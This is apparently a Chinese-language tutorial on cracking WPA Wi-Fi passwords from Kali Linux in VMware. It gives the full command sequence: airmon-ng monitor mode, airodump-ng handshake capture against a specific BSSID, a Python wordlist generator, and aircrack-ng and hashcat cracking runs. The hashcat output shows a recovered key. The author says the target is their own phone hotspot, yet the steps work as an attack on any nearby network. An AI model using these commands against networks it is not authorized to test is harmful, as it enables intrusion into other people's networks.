VMwareKali进行WIFI密码爆破

注：本实验所用仪器全为自己使用！请不要侵犯他人权益

文章目录

一、连接无线网卡
二、抓取TCP握手包
三、aircrack-ng跑包和hashcat跑包
- 1.aircrack
- 2.Hashcat

环境：

VMware® Workstation 16 Pro

kali-linux-2023.1 64位

python3.9.13

RT3070-USB无线网卡

一、连接无线网卡

1.首先按下win+r打开运行窗口

2.输入services.msc,然后按回车键即可进入服务

3.找到VMware USB Arbitration Service 右击启动

4.右键虚拟机，设置，在USB控制器中，勾选USB兼容性2.0以及显示所有USB输入设备

5.打开kali，上方的虚拟机→可移动设备→自己的网卡型号

6.输入命令ifconfig查看，出现wlan0即为安装成功

6.使用airmon-ng命令检查网卡是否支持监听模式，如果该命令没有任何输出则表示没有可以支持监听模式的网卡。

二、抓取TCP握手包

1.开启无线网卡的监听模式

bash 复制代码

airmon-ng start wlan0

2.开启监听模式之后，无线接口wlan0变成了wlan0mon，可以使用ifconfig命令查看 ,如下图所示

注意啊：没有变为wlan0mon的也不是说网卡不支持监听，没有变wlan0mon就直接airodump-ng wlan0）：

3.扫描环境中的WiFi网络

bash 复制代码

airodump-ng wlan0mon

其中，OnePlus Ace 2 Pro 为我的手机热点

4.抓取握手包

当有新用户连接WiFi时会发送握手包，使用网卡的监听模式抓取包含了WiFi密码的握手包。

抓包：

bash 复制代码

airodump-ng -c 6 --bssid 5A:10:53:1A:B7:BD  -w hack wlan0mon

-c 指定信道，上面已经标记目标热点的信道

-bssid指定目标路由器的BSSID，就是上面标记的BSSID

-w指定抓取的数据包保存的目录

handshake即为握手包

三、aircrack-ng跑包和hashcat跑包

使用python生成字典，也可以进行下载

python 复制代码

import itertools
import time

charset = "jns"
min_length = 3
max_length = 3
total_passwords = sum(len(charset) ** length for length in range(min_length, max_length + 1))
filename = "wifi_passwords.txt"

# 生成进度信息
def print_progress(length, current, total):
    print(f"{current}/{total}", end="\n", flush=True)

# 生成密码
def generate_passwords(length):
    for p in itertools.product(charset, repeat=length):
        yield ''.join(p)

# 打开文件并写入密码组合
with open(filename, "w") as file:
    for length in range(min_length, max_length + 1):
        print(f"0/{total_passwords}", end="\n", flush=True)

        for i, password in enumerate(generate_passwords(length)):
            file.write(password + "\n")
            time.sleep(0.0001)
            print_progress(length, i+1, total_passwords)

    print(f"生成完成")

1.aircrack

bash 复制代码

aircrack-ng -a2 -b 5A:10:53:1A:B7:BD -w wifipwd.txt hack-02.cap

a2：WPA模式
b ：破解的WIFI的BSSID
w ：指定字典文件
wifipwd.txt：密码字典的文件路径。

bash 复制代码

KEY FOUND![jns20231217]

2.Hashcat

通过将 .cap 文件上传到https://hashcat.net/cap2hashcat并将其转换为 .hc22000 格式

text 复制代码

hashcat -m 22000 hack-02.hc22000 wifipwd.txt

-m 22000：指定使用hc22000模式。
hack-02.cap：握手包的文件路径。
wifipwd.txt：密码字典的文件路径。

bash 复制代码

6ce383df82ebcc12c278729fd5a8d6ec:5a10531ab7bd:c0f4e66b2067:OnePlus Ace 2 Pro:jns20231217
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 22000 (WPA-PBKDF2-PMKID+EAPOL)
Hash.Target......: hack-02.hc22000
Time.Started.....: Sun Dec 17 19:42:22 2023 (7 secs)
Time.Estimated...: Sun Dec 17 19:42:29 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (wifipwd.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    22604 H/s (10.14ms) @ Accel:128 Loops:1024 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 145408/390626 (37.22%)
Rejected.........: 0/145408 (0.00%)
Restore.Point....: 144384/390626 (36.96%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: jns20221120 -> jns20237223
Hardware.Mon.#1..: Util: 74%

Started: Sun Dec 17 19:41:54 2023
Stopped: Sun Dec 17 19:42:29 2023